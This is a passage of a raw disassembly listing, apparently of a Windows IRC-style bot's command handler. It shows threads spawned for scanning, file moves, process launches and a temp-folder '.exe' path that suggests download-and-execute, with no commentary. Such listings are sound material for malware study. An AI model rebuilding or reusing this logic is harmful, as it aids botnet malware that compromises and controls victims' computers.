		cmp	[ebp+var_9A2], bl
		jnz	short loc_40FE94
		push	offset dword_434D94
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_40FE94:				; CODE XREF: sub_40CE55+3023j
					; sub_40CE55+302Bj ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43A33C	; getsockname
		mov	al, [ebp+var_9B3]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2D4], eax
		push	[ebp+var_2D4]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416D40
		add	esp, 0Ch
		cmp	[ebp+var_9A2], bl
		jz	short loc_40FF40
		xor	eax, eax
		cmp	[ebp+var_9B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_417040
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40FF34

loc_40FF12:				; CODE XREF: sub_40CE55+30DDj
		cmp	eax, ebx
		jz	short loc_40FF34
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_417040
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40FF12

loc_40FF34:				; CODE XREF: sub_40CE55+30BBj
					; sub_40CE55+30BFj
		mov	[ebp+var_2F0], 1
		jmp	short loc_40FF46
; ---------------------------------------------------------------------------

loc_40FF40:				; CODE XREF: sub_40CE55+3095j
		mov	[ebp+var_2F0], ebx

loc_40FF46:				; CODE XREF: sub_40CE55+3018j
					; sub_40CE55+30E9j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], eax
		mov	edi, 80h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_415A6A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40FF97

loc_40FF84:				; CODE XREF: sub_40CE55+3165j
		push	esi

loc_40FF85:				; CODE XREF: sub_40CE55+314Fj
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_40FFC2
; ---------------------------------------------------------------------------

loc_40FF97:				; CODE XREF: sub_40CE55+312Dj
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40FFA6
		cmp	byte ptr [eax],	23h
		jnz	short loc_40FFA6
		push	eax
		jmp	short loc_40FF85
; ---------------------------------------------------------------------------

loc_40FFA6:				; CODE XREF: sub_40CE55+3147j
					; sub_40CE55+314Cj
		mov	esi, offset dword_42C244
		push	offset byte_438FBC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF84
		mov	[ebp+var_3A0], bl

loc_40FFC2:				; CODE XREF: sub_40CE55+3140j
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40FFD4
		mov	eax, offset aSequential	; "Sequential"

loc_40FFD4:				; CODE XREF: sub_40CE55+3178j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434D08
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	8
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_40799F
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410062

loc_41004C:				; CODE XREF: sub_40CE55+320Bj
		cmp	[ebp+var_2EC], ebx
		jnz	loc_40F7B1
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_41004C
; ---------------------------------------------------------------------------

loc_410062:				; CODE XREF: sub_40CE55+31F5j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434CBC
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------

loc_410073:				; CODE XREF: sub_40CE55+2633j
					; sub_40CE55+264Aj
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		cmp	byte_43F540[eax], bl
		jz	loc_41298E
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		push	[ebp+arg_18]
		add	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		lea	eax, [ebp+var_2C8]
		push	esi
		push	offset dword_434CB0
		push	eax
		call	sub_4154E7
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_41298E
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D4C
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43F328[eax], 73h
		jnz	loc_41298E
		push	esi
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F540
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"

loc_41015B:				; CODE XREF: sub_40CE55+3403j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C

loc_410180:				; CODE XREF: sub_40CE55+529Fj
		add	esp, 28h
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_410188:				; CODE XREF: sub_40CE55+2605j
					; sub_40CE55+261Cj
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		cmp	byte_43F540[eax], bl
		jz	loc_41298E
		cmp	[ebp+var_C], ebx
		jz	loc_41298E
		push	edi
		call	sub_415CF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415CF0
		push	[ebp+arg_18]
		add	esi, eax
		call	sub_415CF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415AC0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_41298E
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jle	loc_41298E
		push	edi
		call	sub_415A5F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_41298E
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		push	dword_43F534[eax]
		call	sub_412D4C
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43F328[eax], 73h
		jnz	loc_41298E
		push	esi
		push	edi
		call	sub_415A5F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43F540
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_41015B
; ---------------------------------------------------------------------------

loc_41025D:				; CODE XREF: sub_40CE55+25D7j
					; sub_40CE55+25EEj
		push	edi
		call	dword_43A3D8	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_460], eax
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+var_46C], eax
		call	sub_415A5F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_4EC]
		mov	[ebp+var_4F0], esi
		push	eax
		call	sub_416D40
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_458], edi
		push	[ebp+var_468]
		mov	[ebp+var_454], eax
		push	[ebp+var_46C]
		push	[ebp+var_460]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434C40
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	8
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_464], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_414569
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_464]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_41033F

loc_410329:				; CODE XREF: sub_40CE55+34E8j
		cmp	[ebp+var_450], ebx
		jnz	loc_411F0D
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410329
; ---------------------------------------------------------------------------

loc_41033F:				; CODE XREF: sub_40CE55+34D2j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434BF0
		jmp	loc_411EFE
; ---------------------------------------------------------------------------

loc_410350:				; CODE XREF: sub_40CE55+25A9j
					; sub_40CE55+25C0j
		push	edi
		call	sub_415A5F
		push	7Fh
		mov	[ebp+var_300], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416D40
		push	[ebp+arg_0]
		call	sub_415A5F
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_384]
		push	80h
		push	eax
		mov	[ebp+var_40C], esi
		call	sub_415A6A
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		push	[ebp+var_304]
		lea	eax, [ebp+var_404]
		mov	[ebp+var_2F4], edi
		push	eax
		push	[ebp+var_300]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434BA0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	10h
		push	eax
		call	sub_414F93
		add	esp, 24h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_407BFE
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410439

loc_410423:				; CODE XREF: sub_40CE55+35E2j
		cmp	[ebp+var_2EC], ebx
		jnz	loc_411F0D
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410423
; ---------------------------------------------------------------------------

loc_410439:				; CODE XREF: sub_40CE55+35CCj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434B4C
		jmp	loc_411EFE
; ---------------------------------------------------------------------------

loc_41044A:				; CODE XREF: sub_40CE55+257Bj
					; sub_40CE55+2592j
		push	0FFh
		lea	eax, [ebp+var_788]
		push	edi
		push	eax
		call	sub_416D40
		push	0FFh
		lea	eax, [ebp+var_688]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D40
		push	[ebp+arg_0]
		mov	[ebp+var_584], ebx
		call	sub_415A5F
		mov	[ebp+var_580], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4104A6
		push	10h
		push	ebx
		push	eax
		call	sub_416A89
		add	esp, 0Ch
		mov	[ebp+var_578], eax
		jmp	short loc_4104AC
; ---------------------------------------------------------------------------

loc_4104A6:				; CODE XREF: sub_40CE55+363Bj
		mov	[ebp+var_578], ebx

loc_4104AC:				; CODE XREF: sub_40CE55+364Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_4104C3
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_57C], eax
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------

loc_4104C3:				; CODE XREF: sub_40CE55+365Dj
		mov	[ebp+var_57C], ebx

loc_4104C9:				; CODE XREF: sub_40CE55+366Cj
		movzx	eax, [ebp+var_9AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_808]
		mov	[ebp+var_80C], esi
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		push	edi
		lea	eax, [ebp+var_2C8]
		push	offset unk_434B0C
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_2C8]
		push	15h
		push	eax
		call	sub_414F93
		add	esp, 28h
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_80C]
		push	ebx
		push	eax
		push	offset sub_40BCEF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410577

loc_410561:				; CODE XREF: sub_40CE55+3720j
		cmp	[ebp+var_568], ebx
		jnz	loc_40FBE8
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410561
; ---------------------------------------------------------------------------

loc_410577:				; CODE XREF: sub_40CE55+370Aj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434AB8
		jmp	loc_41077A
; ---------------------------------------------------------------------------

loc_410588:				; CODE XREF: sub_40CE55+254Dj
					; sub_40CE55+2564j
		push	7Fh
		lea	eax, [ebp+var_774]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_6F4]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_674]
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_5F4]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_8]
		push	[ebp+arg_0]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_778], eax
		lea	eax, [ebp+var_2C8]
		push	edi
		push	offset dword_434A78
		push	eax
		mov	[ebp+var_570], esi
		call	sub_4154E7
		add	esp, 44h
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	0Bh
		push	eax
		call	sub_414F93
		add	esp, 0Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_778]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_41065B

loc_410649:				; CODE XREF: sub_40CE55+3804j
		cmp	[ebp+var_568], ebx
		jnz	short loc_410676
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410649
; ---------------------------------------------------------------------------

loc_41065B:				; CODE XREF: sub_40CE55+37F2j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434A2C
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_410676:				; CODE XREF: sub_40CE55+37FAj
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	esi
		jmp	loc_40F7BE
; ---------------------------------------------------------------------------

loc_410686:				; CODE XREF: sub_40CE55+2508j
					; sub_40CE55+251Fj ...
		push	7Fh
		lea	eax, [ebp+var_7F0]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_770]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_6F0]
		push	[ebp+arg_0]
		push	eax
		call	sub_416D40
		push	esi
		lea	eax, [ebp+var_670]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D40
		push	20h
		lea	eax, [ebp+var_5F0]
		push	[ebp+arg_8]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_2C8]
		push	edi
		push	offset unk_4349E8
		push	eax
		mov	[ebp+var_7F8], esi
		call	sub_4154E7
		add	esp, 50h
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	0Ah
		push	eax
		call	sub_414F93
		add	esp, 0Ch
		mov	[ebp+var_7F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_7F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_41076E

loc_410758:				; CODE XREF: sub_40CE55+3917j
		cmp	[ebp+var_568], ebx
		jnz	loc_40FBE8
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410758
; ---------------------------------------------------------------------------

loc_41076E:				; CODE XREF: sub_40CE55+3901j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43499C

loc_41077A:				; CODE XREF: sub_40CE55+2D75j
					; sub_40CE55+2EC0j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		jmp	loc_40FBE5
; ---------------------------------------------------------------------------

loc_41078B:				; CODE XREF: sub_40CE55+24DAj
					; sub_40CE55+24F1j
		push	7Fh
		lea	eax, [ebp+var_444]
		push	edi
		push	eax
		call	sub_416D40
		push	[ebp+arg_18]
		call	sub_415A5F
		push	3Fh
		mov	[ebp+var_2F4], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C4]
		push	eax
		call	sub_416D40
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4107D9
		push	3Fh
		lea	eax, [ebp+var_384]
		push	esi
		push	eax
		call	sub_416D40
		add	esp, 0Ch

loc_4107D9:				; CODE XREF: sub_40CE55+3970j
		lea	eax, [ebp+var_3C4]
		mov	[ebp+var_2F0], 1
		push	eax
		lea	eax, [ebp+var_444]
		push	[ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434958
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	17h
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_448]
		push	ebx
		push	eax
		push	offset sub_40CB75
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410865

loc_41084F:				; CODE XREF: sub_40CE55+3A0Ej
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40F713
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_41084F
; ---------------------------------------------------------------------------

loc_410865:				; CODE XREF: sub_40CE55+39F8j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43490C
		jmp	loc_40F704
; ---------------------------------------------------------------------------

loc_410876:				; CODE XREF: sub_40CE55+249Aj
					; sub_40CE55+24B1j
		push	[ebp+arg_18]
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_578], eax
		jle	loc_410967
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_700]
		push	esi
		push	eax
		call	sub_415A6A
		xor	eax, eax
		cmp	[ebp+var_9A2], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_574], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_704], eax
		lea	eax, [ebp+var_600]
		push	esi
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		push	edi
		push	offset unk_4348CC
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Dh
		push	eax
		call	sub_414F93
		add	esp, 38h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_704]
		push	ebx
		push	eax
		push	offset sub_401447
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410956

loc_410940:				; CODE XREF: sub_40CE55+3AFFj
		cmp	[ebp+var_568], ebx
		jnz	loc_40F7B1
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410940
; ---------------------------------------------------------------------------

loc_410956:				; CODE XREF: sub_40CE55+3AE9j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434880
		jmp	loc_40F7A2
; ---------------------------------------------------------------------------

loc_410967:				; CODE XREF: sub_40CE55+3A32j
		push	offset unk_434834
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_410971:				; CODE XREF: sub_40CE55+246Cj
					; sub_40CE55+2483j
		push	[ebp+arg_18]
		push	edi
		call	dword_421134	; MoveFileA
		test	eax, eax
		jz	short loc_41099E
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C8]
		push	edi
		push	offset unk_4347FC
		push	200h
		push	eax
		call	sub_415A6A
		jmp	loc_4111C1
; ---------------------------------------------------------------------------

loc_41099E:				; CODE XREF: sub_40CE55+3B28j
		push	offset dword_4347DC
		call	sub_409C08
		push	eax
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------

loc_4109C2:				; CODE XREF: sub_40CE55+243Ej
					; sub_40CE55+2455j
		push	edi
		lea	eax, [ebp+var_77C]
		push	104h
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4109FC
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4109FC
		push	eax
		lea	eax, [ebp+var_678]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_4109FC:				; CODE XREF: sub_40CE55+3B85j
					; sub_40CE55+3B96j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7FC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_800], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_678]
		push	eax
		lea	eax, [ebp+var_77C]
		push	eax
		push	offset unk_434798
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Bh
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_408788
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410AAF

loc_410A99:				; CODE XREF: sub_40CE55+3C58j
		cmp	[ebp+var_568], ebx
		jnz	loc_41284E
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410A99
; ---------------------------------------------------------------------------

loc_410AAF:				; CODE XREF: sub_40CE55+3C42j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434748
		jmp	loc_41283F
; ---------------------------------------------------------------------------

loc_410AC0:				; CODE XREF: sub_40CE55+2410j
					; sub_40CE55+2427j
		push	44h
		lea	eax, [ebp+var_48C]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		push	1
		mov	[ebp+var_48C], esi
		pop	esi
		mov	word ptr [ebp+var_45C],	bx
		push	edi
		mov	[ebp+var_460], esi
		call	sub_415A5F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_410AFD
		mov	word ptr [ebp+var_45C],	5

loc_410AFD:				; CODE XREF: sub_40CE55+3C9Dj
		cmp	[ebp+var_C], ebx
		jz	loc_40F713
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415AC0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40F713
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_48C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jnz	short loc_410B56
		push	offset unk_434710

loc_410B43:				; CODE XREF: sub_40CE55+3E85j
					; sub_40CE55+4518j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40F713
; ---------------------------------------------------------------------------

loc_410B56:				; CODE XREF: sub_40CE55+3CE7j
		push	edi
		push	offset dword_4346E4
		jmp	loc_40F704
; ---------------------------------------------------------------------------

loc_410B61:				; CODE XREF: sub_40CE55+23E2j
					; sub_40CE55+23F9j
		push	[ebp+arg_18]
		push	offset aIdspp	; "idspp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CD5
		lea	eax, [ebp+var_3E8]
		push	eax
		push	104h
		call	dword_4210F8	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_788]
		push	edi
		push	eax
		call	sub_416D40
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_414126
		push	eax
		lea	eax, [ebp+var_3E8]
		push	eax
		lea	eax, [ebp+var_688]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_584], 1
		mov	[ebp+var_580], ebx
		jz	short loc_410BF3
		push	10h
		push	ebx
		push	eax
		call	sub_416A89
		add	esp, 0Ch
		mov	[ebp+var_578], eax
		jmp	short loc_410BF9
; ---------------------------------------------------------------------------

loc_410BF3:				; CODE XREF: sub_40CE55+3D88j
		mov	[ebp+var_578], ebx

loc_410BF9:				; CODE XREF: sub_40CE55+3D9Cj
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_410C13
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	[ebp+var_57C], eax
		jmp	short loc_410C19
; ---------------------------------------------------------------------------

loc_410C13:				; CODE XREF: sub_40CE55+3DADj
		mov	[ebp+var_57C], ebx

loc_410C19:				; CODE XREF: sub_40CE55+3DBCj
		movzx	eax, [ebp+var_9AF]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_808]
		mov	[ebp+var_80C], esi
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_570], eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_434698
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_2C8]
		push	16h
		push	eax
		call	sub_414F93
		add	esp, 24h
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_80C]
		push	ebx
		push	eax
		push	offset sub_40BCEF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_410CC4

loc_410CAE:				; CODE XREF: sub_40CE55+3E6Dj
		cmp	[ebp+var_568], ebx
		jnz	loc_40F713
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_410CAE
; ---------------------------------------------------------------------------

loc_410CC4:				; CODE XREF: sub_40CE55+3E57j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434648
		jmp	loc_40F704
; ---------------------------------------------------------------------------

loc_410CD5:				; CODE XREF: sub_40CE55+3D1Dj
		push	offset unk_4345F0
		jmp	loc_410B43
; ---------------------------------------------------------------------------

loc_410CDF:				; CODE XREF: sub_40CE55+23B4j
					; sub_40CE55+23CBj
		push	[ebp+var_90]
		push	offset dword_43646C
		call	sub_415910
		pop	ecx
		test	eax, eax
